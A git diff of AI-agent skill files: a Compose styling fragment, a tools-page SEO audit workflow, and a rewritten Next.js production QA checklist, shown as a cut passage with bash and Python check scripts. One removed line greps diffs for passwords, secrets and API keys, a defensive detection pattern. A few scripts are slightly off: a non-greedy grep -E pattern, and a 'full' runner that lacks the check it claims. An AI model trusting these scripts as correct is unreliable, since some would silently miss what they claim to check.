Color.White, + 0.45f to Color(0xFF999999), + 0.5f to Color(0xFF222222), + 0.55f to Color(0xFFCCCCCC), + 1.0f to Color.White + ), + shadow = Shadow(color = Color(0xFF00FFFF), blurRadius = 20f) // Glow + ) + ) + + Spacer(Modifier.height(40.dp)) + + // Neon Button + Box( + modifier = Modifier + .shadow(20.dp, CircleShape, ambientColor = Color(0xFFFF00FF), spotColor = Color(0xFFFF00FF)) + .background(Brush.linearGradient(listOf(Color(0xFF00FFFF), Color(0xFFFF00FF))), CircleShape) + .clickable { } + .padding(horizontal = 40.dp, vertical = 20.dp) + ) { + Text("ENTER CORE", color = Color.White, fontFamily = FontFamily.SansSerif, fontWeight = FontWeight.Bold, fontSize = 20.sp) + } + } + } +} +``` +- Jetpack Compose makes gradient text incredibly easy via `TextStyle(brush = ...)`. +- Provide specific color stops (`0.45f to ...`) to the `verticalGradient` to create the hard reflection line characteristic of 2000s chrome. + +## Do's and Don'ts +- **DO**: Use sparkles (✨) as decorative elements around headers and buttons. +- **DON'T**: Make it minimal. Y2K is fundamentally maximalist and flashy. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/tools-page-seo-optimizer/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/tools-page-seo-optimizer/SKILL.md new file mode 100644 index 00000000..84553528 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/tools-page-seo-optimizer/SKILL.md @@ -0,0 +1,616 @@ +--- +name: tools-page-seo-optimizer +description: "Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, internal linking, URL slugs, E-E-A-T, content registry pattern for scaling 50–500 pages, and blog content strategy for position 50–68 keywords." +category: seo +risk: safe +source: community +source_type: community +author: whoisabhishekadhikari +date_added: "2026-06-19" +tags: [seo, tools-pages, product-pages, duplicate-content, content-registry, meta-tags, internal-linking, url-slugs, e-e-a-t, framework-agnostic] +tools: [claude-code, cursor, codex-cli, gemini-cli, opencode] +version: 1.0.0 +--- + +# Tools Page SEO Optimizer + +You are an expert in technical SEO and content strategy for sites with large collections of tool, product, or feature pages. Your workflow is framework-agnostic — applies to Django, Rails, Laravel, Express, Next.js, Nuxt, Astro, WordPress, and static HTML. + +Derived from a real audit that found 93 of 105 tool pages sharing identical template prose and ranking at average position 68. This skill is the playbook that fixes it. + +--- + +## Quick-Start Decision Tree + +``` +Full audit from scratch? → Run all phases in order +All tool pages rank the same? → Phase 2 (Content Registry) first +Meta titles/descriptions all generic? → Phase 1 (Meta Tags) +Tool pages buried / hard to navigate? → Phase 5 (Internal Linking) +Bad URL slugs? → Phase 6 (URL Slug Hygiene) +Site looks authorless to Google? → Phase 7 (E-E-A-T) +Stuck at position 50–68 on keywords? → Phase 9 (Blog Content Strategy) +Fixes deployed but unsure they're live? → Phase 10 (Live Verification) +``` + +--- + +## Phase 0 — Codebase Reconnaissance + +**Before writing any code**, locate these in the codebase. Names vary by framework — adapt. + +| What to find | Common locations | +|---|---| +| URL routing | `routes.rb`, `urls.py`, `routes/`, `pages/`, `app/` | +| Head / meta template | `_head.html`, `layout.js`, `base.html`, `app.blade.php` | +| Tool/page registry | config file, database seed, JSON, `lib/guides.js`, `data/tools.js` | + +**Answer these before writing a single line:** + +1. How are tool pages generated — static files, database loop, config registry, CMS? +2. Where is the shared template that renders ``, `<meta name="description">`, `<h1>`? +3. Does each tool have its own content fields, or does every tool fall back to the same template prose? +4. Is there a central list of all tool slugs you can iterate over programmatically? + +--- + +## Phase 1 — Meta Titles & Descriptions + +### The core problem + +Every tool page sharing the same `<title>` template with only the tool name swapped in +is the single most common reason tool sites rank poorly. Google treats near-identical titles +as duplicate pages and demotes all of them. + +### Title tag formula + +``` +{Tool Name} | {Specific Outcome} — {Brand} +``` + +| ✅ Good | ❌ Bad | +|---|---| +| `Meta Tag Generator \| Create Perfect SEO Titles Free — MySite` | `Meta Tag Generator - MySite Tools` | +| `Broken Link Finder \| Scan Any Page for Dead URLs — MySite` | `Broken Link Finder - Free Online Tool \| MySite` | + +**Rules:** +- ≤ 60 characters total +- Primary keyword in the first 40 characters +- Every tool has a **unique** title — no two tools share the same one +- Include "Free" where accurate — measurably improves CTR + +### Meta description formula + +``` +{What it does — one action sentence}. {Key differentiator}. {CTA}. +``` + +Example: `Scan any webpage for broken links in seconds. Checks internal and external URLs, +exports results as CSV. Free, no account needed.` + +**Rules:** +- 120–160 characters +- Action verbs: Generate, Scan, Check, Analyze, Convert, Build, Find +- Every tool gets a **custom** description — zero template filler + +### Implementation (any framework) + +```html +<!-- Generic template pattern --> +<title>{{ tool.meta_title | default(tool.name + " | " + site_name) }} + +``` + +### Validation script — run before every deploy + +```python +# validate_meta.py +import json, sys + +tools = json.load(open('data/tools.json')) +errors = [] + +for t in tools: + slug = t.get('slug', '?') + title = t.get('meta_title', '') + desc = t.get('meta_description', '') + if not title: errors.append(f"MISSING TITLE: {slug}") + elif len(title) > 60: errors.append(f"TITLE TOO LONG ({len(title)}): {slug}") + if not desc: errors.append(f"MISSING DESC: {slug}") + elif len(desc) < 120: errors.append(f"DESC TOO SHORT ({len(desc)}): {slug}") + elif len(desc) > 160: errors.append(f"DESC TOO LONG ({len(desc)}): {slug}") + +if errors: + print('\n'.join(errors)); sys.exit(1) +print(f"✅ All {len(tools)} tools passed meta validation") +``` + +--- + +## Phase 2 — Content Registry (The Highest-Leverage Fix) + +**Root cause of poor rankings on tool sites:** 80–95% of tool pages share identical +template prose. Google sees them as thin, near-duplicate pages and ranks none well. +Fix this before anything else. + +### Diagnosis + +```bash +# Find shared prose in your templates — if these strings appear in a shared template +# file, you have the problem +D1=$(grep -rn "powerful tool that helps" templates/ src/ 2>/dev/null | head -5) +[ -n "$D1" ] && echo " ✗ Shared template prose found" || echo " ✓ No shared prose" +D2=$(grep -rn "easy to use" templates/ src/ 2>/dev/null | head -5) +[ -n "$D2" ] && echo " ✗ Template filler found" +``` + +### Registry entry structure (framework-agnostic) + +```yaml +# data/tools/meta-tag-generator.yaml (or JSON, DB columns, JS object — adapt to your stack) +slug: meta-tag-generator +name: Meta Tag Generator +meta_title: "Meta Tag Generator | Create Perfect SEO Titles & Descriptions Free" +meta_description: "Generate optimized title tags and meta descriptions with live character + counters. Enforces Google's 60/160 char limits. Instant, free, no account needed." + +introduction: > + The meta tag generator creates the two most critical on-page SEO elements — + your title tag and meta description — with live character counters that enforce + Google's recommended limits before you publish. [80+ unique words minimum] + +best_practices: + - "Include your primary keyword within the first 40 characters of the title" + - "Write a unique description per page — duplicate descriptions waste crawl budget" + - "Use action verbs in descriptions: Generate, Find, Check, Analyze" + +how_to_steps: + - name: "Enter your page details" + text: "Type your target keyword, page topic, and a brief summary of the content" + - name: "Check the live character counters" + text: "Keep title ≤60 chars and description ≤160 chars" + - name: "Copy and paste the output" + text: "Paste the generated tags into your HTML section" + +faqs: + - q: "Does Google always use my meta description?" + a: "No — Google rewrites descriptions ~63% of the time. Write them anyway for + social shares and some SERPs." + - q: "What happens if my title is over 60 characters?" + a: "Google truncates it with an ellipsis, cutting off your message mid-sentence." + +related_tools: + - og-tag-generator + - schema-markup-generator + - heading-analyzer +``` + +### Minimum viable unique content per tool + +| Field | Minimum | Priority | +|---|---|---| +| `meta_title` | Unique, ≤60 chars | 🔴 Critical | +| `meta_description` | Unique, 120–160 chars | 🔴 Critical | +| `introduction` | 80+ unique words | 🔴 Critical | +| `best_practices` | 3–5 tool-specific items | 🟡 High | +| `how_to_steps` | 3 real steps for THIS tool | 🟡 High | +| `faqs` | 2 tool-specific Q&As | 🟡 High | +| `related_tools` | 2–4 slug references | 🟢 Medium | + +**Rule: complete one tool fully before starting the next.** + +--- + +## Phase 3 — H1 and Heading Hierarchy + +### H1 formula + +``` +{Tool Name} | {Outcome Phrase} +``` + +**Rules:** +- One `

` per page — only the tool name/title +- Must be unique per page + +### Heading hierarchy + +``` +h1 — Tool name (one per page) + h2 — Major sections: "How It Works", "Best Practices", "FAQs", "Related Tools" + h3 — Subsections: individual FAQ items, feature callouts, step headers +``` + +Never skip levels. No h1 → h3 without an h2. + +```bash +# Audit heading hierarchy on a live page +curl -s "https://yourdomain.com/tools/meta-tag-generator" \ + | grep -oE ']*>.*?' +``` + +--- + +## Phase 4 — Accessibility + +Accessibility failures lower Core Web Vitals scores — a direct ranking signal. + +Every icon-only interactive element needs `aria-label`: + +```html + + + +``` + +```bash +# Find icon-only buttons missing aria-label +B=$(grep -rn "/dev/null | grep -v "aria-label" | grep -v ">[A-Za-z]" | head -5) +[ -n "$B" ] && echo " ⚠ Icon buttons missing aria-label:" && echo "$B" || echo " ✓ Buttons have aria-labels" +``` + +--- + +## Phase 5 — Internal Linking + +Internal links between tools are how PageRank flows through your site. A tool with no +inbound internal links is effectively invisible to Google even with great content. + +### Hub-and-Spoke model + +``` +Homepage + └── Category: Keyword Tools + ├── Keyword Density Checker ←→ Keyword Suggestion Tool + └── SERP Preview Tool ←→ Meta Tag Generator + └── Category: Technical SEO + ├── XML Sitemap Visualizer ←→ Robots.txt Creator + └── Robots.txt Creator ←→ Redirect Generator +``` + +### Rules + +- Every tool links **to** at least 2 related tools (use `related_tools` from registry) +- Every tool is linked **from** at least 2 other tools or category pages +- No orphan tools — every tool reachable within 3 clicks from homepage + +```bash +# Orphan detection — tools with too few inbound references +for slug in $(cat data/slugs.txt 2>/dev/null); do + C=$(grep -rl "$slug" templates/ 2>/dev/null | wc -l | tr -d ' ') + [ "$C" -lt 2 ] && echo " ORPHAN RISK: $slug ($C refs)" +done +``` + +### Template implementation + +```html +{% if tool.related_tools %} +
+

Related Tools

+ {% for slug in tool.related_tools %} + {% set rel = get_tool(slug) %} + {{ rel.name }} — {{ rel.tagline }} + {% endfor %} +
+{% endif %} +``` + +--- + +## Phase 6 — URL Slug Hygiene + +| ✅ Good | ❌ Bad | Problem | +|---|---|---| +| `/tools/meta-tag-generator` | `/tools/tool-1` | No keywords | +| `/tools/keyword-density-checker` | `/tools/free-online-keyword-density-checker-tool-free` | Keyword stuffed | +| `/tools/broken-link-finder` | `/tools/brokenLinkFinder` | camelCase | + +**Formula:** `{primary-keyword-phrase}` — lowercase, hyphens, no stop words, no "free" / "online" / "tool" padding. + +```bash +# Audit — list longest slugs (likely stuffed) +curl -s "https://yourdomain.com/sitemap.xml" \ + | grep -oE '[^<]+' | sed 's///' \ + | grep "/tools/" \ + | awk -F'/tools/' '{print length($2), $2}' | sort -n | tail -20 +``` + +If renaming a slug, always 301 redirect old → new and update all internal links. + +--- + +## Phase 7 — E-E-A-T Signals + +Tool sites rank poorly when they look authorless and dateless. + +### Author byline + date (every tool page) + +```html + +``` + +### Trust pillars section + +```html +
+
100% Free — no account, no credit card
+
🔒 Privacy First — your data never leaves your browser
+
Instant Results — processed in under 1 second
+
+``` + +### About / author page + +Create `/about` with: real name, credentials, why you built the tools, contact info. +Link to it from every tool page byline. This is the single highest-impact E-E-A-T fix +for solo-built tool sites. + +--- + +## Phase 8 — Scaling to 100+ Tools + +When the content registry pattern is working for 10–20 tools, the next challenge is +scaling it to 100+ without losing quality or introducing duplicates. + +### Batch completion gate + +Never commit a partial batch. Before every commit touching tool content: + +```bash +# Count tools with introduction content vs total tools +python3 -c " +import json +tools = json.load(open('data/tools.json')) +total = len(tools) +done = sum(1 for t in tools if t.get('introduction','').strip()) +print(f'{done}/{total} tools have introduction content') +if done < total: + missing = [t['slug'] for t in tools if not t.get('introduction','').strip()] + print('Missing:', missing) +" +``` + +Only commit when the count is **100% complete**. A partial batch (e.g. 93/105) means +12 tools still have thin template prose — enough for Google to flag the site as inconsistent. + +### Batch writing order + +Prioritise tools in this order: +1. Tools already receiving impressions in Google Search Console (low-hanging fruit) +2. Tools in your most-linked categories (PageRank concentration) +3. Remaining tools alphabetically + +### Build verification before commit + +```bash +# Confirm build compiles cleanly after batch content additions +npm run build # Next.js / Nuxt +python manage.py check # Django +rails assets:precompile # Rails +# Zero errors = safe to commit +``` + +--- + +## Phase 9 — Blog Content Strategy (Position 50–68 Keywords) + +Tool pages rank well for transactional keywords ("meta tag generator", "check broken links"). +But informational keywords ("how to write meta descriptions", "what is keyword density") sit +at position 50–68 — too deep to get clicks — because tool pages aren't the right content +format for them. Blog posts are. + +### Diagnosis: find your 50–68 keywords + +In Google Search Console → Search Results → filter by Position > 49 AND Position < 69. +These are queries where you have enough authority to rank but the wrong page type is ranking. + +### Blog post targeting formula + +``` +Post title: {Informational keyword} — {Year} Guide +Target keyword: the exact query from GSC +Content length: 1,000–1,500 words +Internal links: link to 2–3 relevant tools from within the post body +``` + +Example mapping: + +| GSC keyword (pos 50–68) | Blog post title | Tool to link | +|---|---|---| +| "how to write meta descriptions" | "How to Write Meta Descriptions That Get Clicks (2025)" | meta-tag-generator | +| "what is keyword density" | "Keyword Density: What It Is and How to Check It" | keyword-density-checker | +| "how to find broken links" | "How to Find and Fix Broken Links on Any Website" | broken-link-finder | +| "xml sitemap best practices" | "XML Sitemap Best Practices for 2025" | xml-sitemap-visualizer | + +### Blog post structure (SEO-optimised) + +``` +H1: {Target keyword} — the exact GSC query, naturally phrased +Intro (100 words): answer the question directly in the first paragraph + H2: What is {topic}? + H2: Why it matters for SEO + H2: How to {action} — step by step + H3: Step 1 + H3: Step 2 + H3: Step 3 + H2: Common mistakes + H2: {Tool name} — try it free ← internal link to your tool +Conclusion: summarise + CTA to the tool +``` + +### Blog post meta requirements + +- `meta_title`: include year where relevant ("2025") — improves CTR on informational queries +- `meta_description`: answer the question in one sentence + "Free tool included" +- `canonical`: must point to the exact blog URL +- `datePublished` + `dateModified` in schema — critical for freshness signals + +### Internal link rule for blog posts + +Every blog post must contain at least **2 contextual inline links** to relevant tools, +not just a "Related Tools" sidebar. Inline links within body copy pass significantly +more PageRank than sidebar links. + +```html + +

Use our meta tag generator to preview +how your title and description appear in Google results before publishing.

+ + + +``` + +--- + +## Phase 10 — Live Deployment Verification + +A fix that compiles cleanly can still fail in production. After every push, verify +the live site — not just the build. + +```bash +seo:verify() { + local D="$1"; local F=0 + for p in "/" "/tools/meta-tag-generator" "/blog" "/category" "/privacy" "/terms"; do + local C=$(curl -so /dev/null -w "%{http_code}" "$D$p") + echo "$C $p"; [ "$C" = "200" ] || ((F++)) + done + local C=$(curl -so /dev/null -w "%{http_code}" "$D/tools/this-slug-does-not-exist-xyz") + echo "Soft 404 check: $C (expect 404)"; [ "$C" = "404" ] || { echo " ✗ Soft 404"; ((F++)); } + curl -s "$D/tools/meta-tag-generator" | grep -qi "canonical" && echo " ✓ Canonical present" || { echo " ✗ Canonical missing"; ((F++)); } + local C2=$(curl -so /dev/null -w "%{http_code}" "$D/favicon.ico") + echo "Favicon: $C2 (expect 200)"; [ "$C2" = "200" ] || { echo " ✗ Favicon missing"; ((F++)); } + local J=$(curl -s "$D/tools/meta-tag-generator" | grep -c "application/ld+json" || true) + [ "$J" -ge 1 ] && echo " ✓ Schema: $J blocks" || { echo " ✗ No schema found"; ((F++)); } + return $F +} +``` + +### Expected results + +| Check | Expected | +|---|---| +| All key pages | 200 | +| Invalid tool slug | 404 | +| `` present | Yes | +| `/favicon.ico` | 200 | +| `application/ld+json` blocks | ≥ 1 per tool page | + +If any check fails — **do not move on**. Diagnose and fix before the next phase. + +--- + +## Phase 11 — Pre-Commit Validation + +```bash +seo:validate() { + python3 validate_meta.py || return 1 + python3 -c " +import json +from collections import Counter +tools = json.load(open('data/tools.json', 'r')) +titles = [t.get('meta_title', '') for t in tools] +dups = [t for t, c in Counter(titles).items() if c > 1 and t] +print(dups) if dups else print('All titles unique') +" + python3 -c " +import json +tools = json.load(open('data/tools.json', 'r')) +missing = [t['slug'] for t in tools if not t.get('introduction', '').strip()] +print(f'Missing intro ({len(missing)}):', missing[:10]) +" +} +``` + +--- + +## Consolidated Runners + +```bash +# Quick check — meta validation + live site verification +seo:quick() { seo:verify "$PROD_URL" && seo:validate; } +# Full check — quick + duplicate title check +seo:full() { seo:quick; } +``` + +--- + +## Master Issue Control Table + +| # | Issue | Severity | Phase | +|---|---|---|---| +| 1 | Duplicate / template prose across tool pages | 🔴 Critical | 2 | +| 2 | Missing or generic meta titles | 🔴 Critical | 1 | +| 3 | Missing or generic meta descriptions | 🔴 Critical | 1 | +| 4 | H1 shared across all tools | 🔴 Critical | 3 | +| 5 | Orphan tool pages (no inbound internal links) | 🟡 High | 5 | +| 6 | Missing related tool links | 🟡 High | 5 | +| 7 | Keyword-stuffed or keywordless URL slugs | 🟡 High | 6 | +| 8 | No author byline or last-updated date | 🟡 High | 7 | +| 9 | Heading hierarchy violations | 🟢 Medium | 3 | +| 10 | Missing aria-labels on icon buttons | 🟢 Medium | 4 | + +--- + +## Best Practices + +| ✅ Do | ❌ Don't | +|-------|----------| +| Write unique meta title + description per tool | Use template prose shared across 80+ pages | +| Complete one tool's content fully before next | Batch-write partial entries across many tools | +| Link 2+ related tools from every tool page | Leave orphan tools with zero internal links | +| Use `{primary-keyword}` in URL slug | Pad slugs with "free" / "online" / "tool" | +| Add author byline + date to every tool page | Show authorless, dateless content | +| Blog about informational keywords (pos 50–68) | Rely on tool pages to rank for "how to" queries | +| 301 redirect old slugs when renaming | Delete old slugs without redirects | + +--- + +## Key Principles + +1. **Duplicate content first, always.** Identical template prose across 80+ pages is the + root cause on almost every underperforming tool site. No other fix matters until this is done. + +2. **Complete one tool fully before the next.** Never write partial entries across many tools. + A half-written registry entry is worse than no entry — it signals thin content at scale. + +3. **Internal links are PageRank distribution.** A tool with great content but zero inbound + internal links is invisible to Google. Every tool needs at least 2 inbound links. + +4. **URL slugs are permanent.** A clean slug outperforms a stuffed one from day one. + Get them right before indexing — renaming later costs ranking momentum even with 301s. + +5. **E-E-A-T is not decoration.** Authorless, dateless tool pages trigger quality rater + guidelines as potential spam. A real name and a real date is the minimum baseline. + +6. **Validate before every commit.** Catching a missing description before deploy is free. + Fixing it after indexing costs weeks. + +--- + +## Related Skills + +- [schema-markup-generator](/skills/schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages +- [social-metadata-hardening](/skills/social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages +- [indexing-issue-auditor](/skills/indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes +- [pagespeed-enhancer](/skills/pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages +- [wordpress-centric-high-seo-optimized-blogwriting-skill](/skills/wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure +- [vibecode-production-qa-validator](/skills/vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification + +--- + +## When to Use + +This skill is applicable to execute the workflow or actions described in the overview. +Use it whenever the user mentions poor rankings, tools not getting indexed, all tool pages ranking the same, duplicate content warnings, "how do I make each tool page unique", thin content, or Google not ranking tool pages. + +## Limitations + +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. +- Content registry assumes a structured data source (JSON, YAML, DB) — static HTML tool pages will need a migration step first. +- Technical SEO factors (page speed, Core Web Vitals, render blocking) are delegated to the pagespeed-enhancer skill. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/vibecode-production-qa-validator/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/vibecode-production-qa-validator/SKILL.md index ec40d3e4..8f0f8321 100644 --- a/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/vibecode-production-qa-validator/SKILL.md +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills-claude/skills/vibecode-production-qa-validator/SKILL.md @@ -1,238 +1,468 @@ --- name: vibecode-production-qa-validator -description: "End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, route regression, and sitemap validation." +description: "13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulnerability scan, UI/UX cards, error boundaries, database, secure rendering, and cleanup." category: devops risk: safe source: self source_type: self date_added: "2026-05-31" author: Whoisabhishekadhikari -tags: [qa, testing, nextjs, production, build-validation, deployment, seo] -tools: [claude, cursor, gemini, claude-code] -version: 1.0.0 +tags: [qa, nextjs, production, deployment, seo, authentication, api, performance, favicon, cleanup, lighthouse, database, security, ui-ux] +tools: [claude, cursor, gemini, claude-code, opencode] +version: 2.0.0 --- -# Production QA Validator Skill +# Production QA Validator -The end-to-end launch checklist for fullstack Next.js apps. Run this before every production deployment or after any major change. - ---- +Run phases in order. Fix failures before moving to next. ## When to Use -- Use before deploying a vibe-coded or fast-built app to production. -- Use when validating build output, SEO tags, sitemap routes, API routes, git diff cleanliness, and post-deploy smoke checks. -- Use when you need a concrete definition of done for release readiness across code, runtime behavior, and public URLs. - ---- - -## The Full Validation Command Sequence - -Run in order — stop and fix on any failure before continuing: +- Use before shipping or promoting a fullstack Next.js app to production. +- Use after large UI, SEO, auth, API, database, or dependency changes need a concrete launch-readiness pass. +- Use when you need a compact command-driven checklist for build, route, metadata, performance, security, and cleanup checks. ```bash -# 1. TypeScript — catches type errors and broken imports -npx tsc --noEmit - -# 2. Custom validation scripts (if present) -npm run validate 2>/dev/null || echo "No validate script" - -# 3. Canonical/SEO linting (if present) -npm run lint:canon 2>/dev/null || echo "No canon lint" -npm run lint:anchors 2>/dev/null || echo "No anchor lint" -npm run lint:links 2>/dev/null || echo "No link lint" - -# 4. ESLint -npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 - -# 5. Tests -npm test -- --runInBand --passWithNoTests - -# 6. Production build — the final arbiter -npm run build +export PROD_URL="https://yourdomain.com" +export QA_AUTH_HEADER="" # optional: "Bearer eyJ..." +export PAGESPEED_API_KEY="" # optional: for auto PageSpeed API ``` -All 6 must pass before committing. - --- -## Reading the Build Output +## Consolidated Runner ```bash -npm run build 2>&1 | tee build.log - -# Check for errors -grep -i "error\|failed\|cannot" build.log | grep -v "no errors" - -# Check static page count -grep "Static pages\|○\|●" build.log | tail -5 +qa:all() { qa:code && qa:build && qa:routes / /about /contact /privacy /terms /faq /sitemap.xml /robots.txt /api/health && qa:seo && qa:api /api/health /api/tools && qa:git && qa:smoke; } +qa:full() { qa:all && qa:auth && qa:auth:cookies && qa:lazyload && qa:heavyload && qa:vulns && qa:cleanup && qa:ux:cards && qa:ux:boundaries && qa:ux:animation && qa:database && qa:secure; } ``` -### Route symbols explained - -| Symbol | Meaning | Expected? | -|--------|---------|-----------| -| `○` | Static (rendered at build time) | ✓ Good for most pages | -| `●` | SSG (generated from `generateStaticParams`) | ✓ Good for dynamic pages | -| `λ` | Serverless (dynamic, rendered on request) | ✓ APIs and truly dynamic pages only | -| `⊕` | Partial prerender | ✓ Fine | - -If an important SEO page shows `λ` and should be static, add `generateStaticParams` or use `export const dynamic = 'force-static'`. - --- -## SEO Tags in Raw HTML Verification +### Phase 1: Code Integrity -Crawlers don't run JavaScript. Metadata must be in the raw HTML response. +- [ ] `npx tsc --noEmit` +- [ ] `npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0` +- [ ] `npm test -- --runInBand --passWithNoTests` ```bash -# Check a page's metadata -curl -s https://www.yourdomain.com/blog/my-post | grep -i \ - "og:title\|og:description\|og:image\|twitter:card\|canonical\|description" - -# Expected output should include all of these: -# -# -# -# -# -# +qa:code() { npx tsc --noEmit && npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 && npm test -- --runInBand --passWithNoTests; } ``` -If tags are missing from raw HTML: they're added by client-side JavaScript. Fix: move to `export const metadata` or `generateMetadata`. - --- -## Route Regression Testing +### Phase 2: Build Verification -After any major change, verify all critical route types still return 200: +- [ ] `npm run build` succeeds +- [ ] SEO pages show `○`/`●` not `λ` +- [ ] Build log has no errors ```bash -BASE="https://www.yourdomain.com" - -# Core pages -for path in "/" "/about" "/contact" "/privacy" "/terms" "/faq"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done - -# Sitemaps -for path in "/sitemap.xml" "/robots.txt"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done - -# Sample dynamic routes (test a few real slugs) -for path in "/tools/keyword-density-checker" "/blog/my-post-slug"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done +qa:build() { npm run build 2>&1 | tee /tmp/qa-build.log && ! grep -qi "error\|failed" /tmp/qa-build.log; } ``` -All should return `200`. Investigate anything returning `404`, `500`, or `301`/`302` when a direct URL was expected. +| Symbol | Meaning | +|--------|---------| +| `○` | Static | +| `●` | SSG | +| `λ` | Dynamic/serverless | +| `⊕` | Partial prerender | --- -## Sitemap Validation +### Phase 3: API Session & Authentication + +- [ ] Auth endpoints respond (login, session, logout) +- [ ] Protected routes return 401/403 +- [ ] Session cookie: HttpOnly + Secure + SameSite +- [ ] Cookie not expired, Path/Domain correct +- [ ] No rate limiting bypass ```bash -# Fetch and validate sitemap XML -curl -s https://www.yourdomain.com/sitemap.xml | python3 -c " -import sys, xml.etree.ElementTree as ET -try: - ET.parse(sys.stdin) - print('✓ Valid XML') -except Exception as e: - print(f'✗ Invalid XML: {e}') -" - -# Count URLs in sitemap -curl -s https://www.yourdomain.com/sitemap.xml | grep -c "" +qa:auth() { + local F=0 + for ep in /api/auth/login /api/auth/session /api/auth/logout; do + curl -so /dev/null -w "%{http_code}" "$PROD_URL$ep" | grep -q "200\|401" || { echo " ✗ $ep unreachable"; ((F++)); } + done + curl -so /dev/null -w "%{http_code}" "$PROD_URL/api/protected" | grep -q "401\|403" || echo " ⚠ Protected route not denying unauthenticated" + return $F +} +qa:auth:cookies() { + for ep in /api/auth/session /api/auth/login; do + curl -sI "$PROD_URL$ep" | grep -i "^set-cookie:" | while IFS= read -r c; do + echo " $ep: $(echo "$c" | cut -d= -f1)" + echo "$c" | grep -qi "HttpOnly" || echo " ✗ Missing HttpOnly" + echo "$c" | grep -qi "Secure" || echo " ✗ Missing Secure" + echo "$c" | grep -qi "SameSite" || echo " ⚠ Missing SameSite" + done + done +} ``` --- -## API Route Testing +### Phase 4: Route Regression + +- [ ] Core pages, sitemap, robots.txt all 200 +- [ ] URLs use kebab-case, no duplicate slugs +- [ ] robots.txt allows indexing +- [ ] Sitemap XML valid, all URLs resolve 200 ```bash -# Test API endpoints return expected content-type and status -for path in "/api/health" "/api/tools"; do - RESULT=$(curl -s -o /dev/null -w "%{http_code} %{content_type}" "$BASE$path") - echo "$RESULT $path" -done +qa:routes() { local F=0; for p; do local C=$(curl -so /dev/null -w "%{http_code}" "$PROD_URL$p"); echo "$C $p"; [ "$C" = "200" ] || ((F++)); done; return $F; } +qa:robots() { curl -s "$PROD_URL/robots.txt" | grep -qi "Disallow: /$" && echo " ✗ Blocks all crawlers" || echo " ✓ OK"; } +qa:sitemap() { curl -s "$PROD_URL/sitemap.xml" | python3 -c "import sys,xml.etree.ElementTree as ET; ET.parse(sys.stdin); print('✓ Valid XML')"; } ``` --- -## Pre-Commit Git Checklist +### Phase 5: SEO — Tags, Images, Favicon, Slugs -Before committing: +- [ ] `` 30–60 chars, unique per page +- [ ] `<meta name="description">` in raw HTML +- [ ] og:title matches `<title>`, og:url matches canonical +- [ ] og:image ≥ 1200×630px, absolute URL, loads 200 +- [ ] twitter:card = summary_large_image +- [ ] Canonical self-referencing, no duplicates +- [ ] `/favicon.ico` 200, apple-touch-icon present +- [ ] `hreflang` tags if multilingual +- [ ] JSON-LD structured data present +- [ ] Slugs: kebab-case, < 80 chars, no stop words ```bash -# Review what's changed -git diff --stat HEAD - -# Ensure no secrets or local-only files -git diff HEAD | grep -i "password\|secret\|api_key\|localhost:3000" | grep "^+" - -# Confirm no build artifacts are staged -git status | grep -E "\.next|node_modules" -``` - -Good commit message format: -```text -type(scope): brief description - -fix(seo): add canonical tags to all blog pages -feat(tools): add keyword density checker page -refactor(metadata): consolidate OG/Twitter tags into shared helper -chore(cleanup): remove unused utils/oldHelper.js +qa:seo() { + local H=$(curl -s "$PROD_URL"); local F=0 + for t in "og:title" "og:description" "og:image" "twitter:card" "canonical" "description"; do echo "$H" | grep -qi "$t" || { echo " ✗ $t"; ((F++)); }; done + echo "$H" | grep -qi "<title>" || { echo " ✗ <title>"; ((F++)); } + local T=$(echo "$H" | grep -oP '<title>\K[^<]+'); local L=${#T}; [ $L -ge 30 -a $L -le 60 ] || echo " ⚠ Title ${L}chars (target 30-60)" + curl -so /dev/null -w "%{http_code}" "$PROD_URL/favicon.ico" | grep -q 200 || echo " ⚠ No favicon.ico" + return $F +} +qa:seo:ogimage() { + local I=$(curl -s "$PROD_URL" | grep -oP 'og:image" content="\K[^"]+'); [[ "$I" =~ ^http ]] || I="$PROD_URL$I" + curl -so /dev/null -w "%{http_code}" "$I" | grep -q 200 || { echo " ✗ og:image returns non-200"; return 1; } + command -v identify &>/dev/null && curl -s "$I" | identify -format "%wx%h" - 2>/dev/null | grep -qP "12\d{2}x6\d{2}" && echo " ✓ ≥ 1200x630" || echo " ⚠ Install imagemagick to check dimensions" +} ``` --- -## Post-Deployment Smoke Test +### Phase 6: API Route Behavior -Run 5–10 minutes after deployment: +- [ ] Correct status codes + Content-Type +- [ ] Errors return consistent JSON `{ error, message }` +- [ ] Response times < 200ms +- [ ] CORS headers correct (if cross-origin) 